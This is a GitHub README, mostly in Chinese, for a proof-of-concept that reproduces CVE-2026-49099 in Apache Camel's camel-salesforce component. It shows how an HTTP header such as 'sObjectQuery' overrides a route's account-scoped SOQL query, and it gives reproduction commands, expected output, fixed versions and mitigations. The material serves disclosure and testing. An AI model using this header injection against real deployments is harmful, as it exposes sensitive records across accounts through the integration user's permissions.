oscerd/CVE-2026-49099
GitHub: oscerd/CVE-2026-49099
复现 Apache Camel camel-salesforce 组件中 CVE-2026-49099 漏洞的概念验证项目,演示了 HTTP 消息头注入如何覆盖路由配置并导致 SOQL 注入与访问控制失效。
Stars: 0 | Forks: 0
# camel-salesforce sObjectQuery / apex Header 注入复现 (CVE-2026-49099)
本项目演示了 Apache Camel 的 `camel-salesforce` 组件中的一个 **消息头注入** 漏洞,编号为
**CVE-2026-49099**。Salesforce 处理器从 Exchange 消息头中读取其操作参数 —— 包括 SOQL 查询、COSL 搜索、
SObject 名称/ID、Apex REST URL 和方法等。`AbstractSalesforceProcessor.getParameter()` 会 **优先解析消息头**,
其次才是 endpoint 配置的值:
```
// AbstractRestProcessor.processQuery (affected 4.18.2)
final String sObjectQuery = getParameter(SOBJECT_QUERY, exchange, USE_BODY, NOT_OPTIONAL); // header wins over config
...
restClient.query(sObjectQuery, determineHeaders(exchange), ...); // runs whatever SOQL the header supplied
```
`SalesforceEndpointConfig` 中的 header 常量值是普通的小写 camelCase 字符串 ——
`sObjectQuery`、`sObjectSearch`、`sObjectName`、`sObjectId`、`apexUrl`、`apexMethod`、`apexQueryParam.`
前缀等,并且该组件 **没有内置 HeaderFilterStrategy**。由于这些名称不以
`Camel` / `camel` 前缀开头,`HttpHeaderFilterStrategy` —— 它仅在 HTTP 边界拦截 Camel 命名空间的 header ——
会允许它们从入站 HTTP 请求直接进入 Exchange。
因此,在将 HTTP consumer(例如 platform-http)桥接到 `salesforce:` producer 的路由中,任何 HTTP
客户端都可以提供这些 header,并 **覆盖路由原本的意图** —— 使用任意查询替换租户范围内的
SOQL 查询,更改 CRUD 调用的目标 SObject,或者劫持要调用的 Apex REST
endpoint —— 所有这些操作都将以已连接的 **集成用户 (integration user)** 的广泛权限来执行。
此 PoC 将其影响演示为 **SOQL 查询覆盖 / 访问控制失效 (CWE-74 + CWE-639)**:
攻击者使用无范围限制的查询替换路由中特定账户范围的查询,并读取集成用户可见的
所有账户下的敏感联系人字段。
安全通告:
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-salesforce` |
| **受影响的类** | `org.apache.camel.component.salesforce.internal.processor.AbstractSalesforceProcessor#getParameter` (header 优先于配置) 搭配 `SalesforceEndpointConfig` 的 `sObject*` / `apex*` 常量 |
| **CWE** | CWE-74 (注入) / CWE-639 (通过用户控制键绕过授权) |
| **影响** | SOQL/SOSL 注入,SObject CRUD 覆盖,Apex REST endpoint 劫持 —— 使用集成用户的权限执行 |
| **前置条件** | 路由将 HTTP consumer 桥接到 `salesforce:` producer;当 consumer 未经过身份验证时则无需验证 |
| **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23716 (PR [apache/camel#23887](https://github.com/apache/camel/pull/23887)) |
| **致谢** | Yu Bao (PayPal) |
## 为什么不需要 Salesforce org
该漏洞完全存在于处理器的“header 优先于配置”的优先级逻辑中;Salesforce REST 客户端仅作为
传输层。本复现项目提供了一个返回模拟 `RestClient` 的 `salesforce` 组件(并使用
`lazyLogin=true` 运行,因此不会尝试 OAuth)。**真实的** endpoint、producer 和
`AbstractRestProcessor` 将保持不变地运行;模拟的 `RestClient.query(...)` 会记录传递给它的
SOQL 字符串。此过程不涉及任何 Salesforce 账户、OAuth
或网络连接。
## 受害者路由
```
from("platform-http:/contacts")
.to("salesforce:query?rawPayload=true"
+ "&sObjectQuery=SELECT Id, Name FROM Contact WHERE AccountId = '001XXXXXXXXXXXXXXX'");
```
一个“contacts” endpoint,其 SOQL 被锁定为单个账户和非敏感字段。HTTP API 中没有
查询参数 —— 作者假设调用者无法更改查询。攻击者只需设置
`sObjectQuery`,集成用户就会执行任意的语句。
## 仓库结构
```
CVE-2026-49099/
├── pom.xml # camel-platform-http + camel-salesforce 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── RecordingSalesforceComponent.java # salesforce component returning a mock RestClient (no org/OAuth)
│ ├── SalesforceConfig.java # registers it as the 'salesforce' component, lazyLogin=true
│ ├── SoqlRecorder.java # captures the executed SOQL
│ ├── VictimRoute.java # platform-http:/contacts -> salesforce:query (account-scoped)
│ └── ExploitController.java # attacker: injects sObjectQuery to drop the scope
└── resources/
└── application.properties
```
## 前置条件
- Docker 和 Docker Compose
- Java 17+ 和 Maven 3.8+
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 预期输出
```
=== CVE-2026-49099 — camel-salesforce sObjectQuery header injection (SOQL query override) ===
Route intent: POST /contacts runs a FIXED, account-scoped SOQL query:
SELECT Id, Name FROM Contact WHERE AccountId = '001XXXXXXXXXXXXXXX'
1) Legitimate POST /contacts (no sObjectQuery header)
SOQL actually executed: SELECT Id, Name FROM Contact WHERE AccountId = '001XXXXXXXXXXXXXXX'
2) Injected POST /contacts with header 'sObjectQuery: SELECT Id, Name, Email, Phone, MailingStreet FROM Contact'
SOQL actually executed: SELECT Id, Name, Email, Phone, MailingStreet FROM Contact
>>> PROVEN: an inbound HTTP header (sObjectQuery) passed the Camel HTTP header filter and
>>> replaced the route's account-scoped query, so the integration user ran an attacker-chosen
>>> SOQL statement that drops the scope and reads sensitive fields across all accounts
>>> (SOQL injection / broken access control): true
```
## 攻击向量
任何将 HTTP consumer 桥接到 `salesforce:` producer 的路由。可注入的 header 包括 `sObjectQuery`
和 `sObjectSearch`(SOQL/SOSL 覆盖),`sObjectName` / `sObjectId`(CRUD 目标覆盖),以及 `apexUrl` /
`apexMethod` / `apexQueryParam.*`(Apex REST endpoint 劫持)—— 所有这些均以集成用户的
权限执行。
## 修复建议
升级到 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23716)。升级后,通过 header 设置这些值的路由
必须使用 `CamelSalesforce*` 名称(例如 `CamelSalesforceSObjectQuery`);endpoint 选项的拼写
保持不变。
## 缓解措施
在升级之前,请从 `salesforce:`
producer 之前的任何不受信任的入口处剥离 camel-salesforce 控制 header(例如移除 `sObjectQuery`、
`sObjectSearch`、`sObjectName`、`sObjectId`、`apexUrl`、
`apexMethod` 及相关 header),并从受信任的来源设置操作参数。
## 免责声明
本复现项目仅用于 **安全研究和授权测试**,针对的是 **已公开披露并已修复的**
漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:Apache Camel, CISA项目, JS文件枚举, PoC, Salesforce, 域名枚举, 安全漏洞验证, 暴力破解, 注入攻击, 请求拦截, 越权漏洞